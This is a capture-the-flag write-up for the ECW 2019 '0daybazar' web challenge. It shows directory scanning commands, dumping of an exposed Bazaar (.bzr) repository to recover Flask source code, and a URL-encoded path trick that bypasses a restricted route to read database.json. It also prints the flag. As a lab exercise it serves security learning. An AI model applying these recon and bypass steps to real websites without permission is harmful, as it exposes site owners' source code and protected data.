ECW 2019 CTF Qualification - 0daybazar
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
ECW 2019 CTF Qualification | 0daybazar | Web | 100 | 30 |
Le nouveau site préféré de tout bon pentester, avec des exploits et probablement des vulns ;)
TL;DR
The website used Bazaar as code revision control system, code can be downloaded from /.bzr/
. Then we used a path traversal
vulnerability to bypass Flask route.
Methodology
When we arrive on the website, we got the following page:
After few unrevelant test on email input, I decided to run a dirsearch on the website.
Dirsearch
dirsearch -u https://web_0daybazar.challenge-ecw.fr -c "session=[REDACTED]" -e .
You can also use bfac:
bfac -u https://web_0daybazar.challenge-ecw.fr/ --cookie "session=[REDACTED]"
Thanks to these tools we got 2 interesting URL:
https://web_0daybazar.challenge-ecw.fr/.bzr/checkout/dirstate (200) | (Content-Length: 5553)
https://web_0daybazar.challenge-ecw.fr/.bzr/README (200) | (Content-Length: 147)
Bazaar
If we look at .bzr
on google we can learn about Bazaar. This is a GIT
equivalent mostly used by GNU fundation. After few search abour “.bzr dump” we got a Github tool that we can use to dump the website source code.
Since ECW Qualification need cookies to reach the website, I changed the line
r = requests.get(url)
to
r = requests.get(url,cookies={"session":"[REDACTED]"})
The I ran the code:
apt install bzr
python3 dumper.py -u "https://web_0daybazar.challenge-ecw.fr" -o output
Created a standalone tree (format: 2a)
[!] Target : https://web_0daybazar.challenge-ecw.fr/
[+] Start.
[+] GET repository/pack-names
.bzr/repository/pack-names
[+] GET README
.bzr/README
[+] GET checkout/dirstate
.bzr/checkout/dirstate
[+] GET checkout/views
.bzr/checkout/views
[+] GET branch/branch.conf
.bzr/branch/branch.conf
[+] GET branch/format
.bzr/branch/format
[+] GET branch/last-revision
.bzr/branch/last-revision
[+] GET branch/tag
.bzr/branch/tag
[+] GET b'b9d145aedb5ccae17ae06cb44e36c7eb'
[*] Finish
tree output/.bzr/
output/.bzr/
├── README
├── branch
│ ├── branch.conf
│ ├── format
│ ├── last-revision
│ ├── lock
│ ├── tag
│ └── tags
├── branch-format
├── branch-lock
├── checkout
│ ├── conflicts
│ ├── dirstate
│ ├── format
│ ├── lock
│ └── views
└── repository
├── format
├── indices
│ ├── b9d145aedb5ccae17ae06cb44e36c7eb.cix
│ ├── b9d145aedb5ccae17ae06cb44e36c7eb.iix
│ ├── b9d145aedb5ccae17ae06cb44e36c7eb.rix
│ ├── b9d145aedb5ccae17ae06cb44e36c7eb.six
│ └── b9d145aedb5ccae17ae06cb44e36c7eb.tix
├── lock
├── obsolete_packs
├── pack-names
├── packs
│ └── b9d145aedb5ccae17ae06cb44e36c7eb.pack
└── upload
Okey, no interesting files yet. To recover files we need to run a bzr command:
bzr revert
N application.py
N static/
N static/css/
N static/css/font-awesome.min.css
N static/css/main.css
N static/database.json
N static/fonts/
N static/fonts/fontAwesome.otf
N static/fonts/fontawesome-webfont.eot
N static/fonts/fontawesome-webfont.svg
N static/fonts/fontawesome-webfont.ttf
N static/fonts/fontawesome-webfont.woff
N static/fonts/fontawesome-webfont.woff2
N static/images/
N static/images/bg01.jpg
N static/images/bg02.jpg
N static/images/bg03.jpg
N static/js/
N static/js/main.js
N templates/
N templates/index.html
We got the source code of application.py
and database.json
!
Last step
Lets have a look to the interesting files:
application.py
from flask import Flask, render_template
from flask import request, Response, send_from_directory
import json
application = Flask(__name__)
@application.route('/.bzr/<path:filename>')
def bazaar(filename):
print(application.root_path + '/.bzr/')
return send_from_directory(application.root_path + '/.bzr/', filename, conditional=True)
@application.route("/enroll", methods=['POST'])
def enroll():
email = request.form.get('email', '')
with open('static/database.json', 'rw') as f:
data = json.load(f)
for d in data:
if email == d:
return "After this, there is no turning back. You take the blue pill - the story ends, you wake up in your bed and believe whatever you want to believe. You take the red pill - you stay in Wonderland, and I show you how deep the rabbit hole goes."
return "Follow the white rabbit !"
@application.route('/static/database.json', methods=['GET'])
@application.errorhandler(401)
def endpoint():
return Response('We are the samurai, the keyboard cowboys.', 401, {'The Plague':"There is no right and wrong. There's only fun and boring."})
@application.route("/", methods=['POST', 'GET'])
def welcome():
return render_template('index.html', data="Razor: Remember, hacking is more than just a crime. It's a survival trait.")
if __name__ == '__main__':
application.run()
database.json
[
"besthacker@0daybazar.com",
"1337elite@0daybazar.com",
"neo@0daybazar.com"
]
No flag yet, maybe the database.json has been updated on the website. Sadly, the file is not directly reachable due to the specific route @application.route('/static/database.json', methods=['GET'])
.
My first thought was to use a path traversal attack on '/.bzr/<path:filename>
route like this: https://web_0daybazar.challenge-ecw.fr/.bzr/../static/database.json
but it didn’t work.
Note that path traversal must be used on tool like burp or must be url encoded because most of navigators already solve relative URL before sending the request.
Since /static/
folder is reachable (ie. /static/css/main.css
) i decided to make a path traversal on /static/
like this:
https://web_0daybazar.challenge-ecw.fr/static/./database.json
And it worked ! The url is reachable on common navigators using url encode: https://web_0daybazar.challenge-ecw.fr/static/.%2fdatabase.json
[
"besthacker@0daybazar.com",
"1337elite@0daybazar.com",
"neo@0daybazar.com",
"ECW{da19df5971107a14005356bc599f59b6c302b15dbe08090aa25080a95e8137d1}"
]
Flag
ECW{da19df5971107a14005356bc599f59b6c302b15dbe08090aa25080a95e8137d1}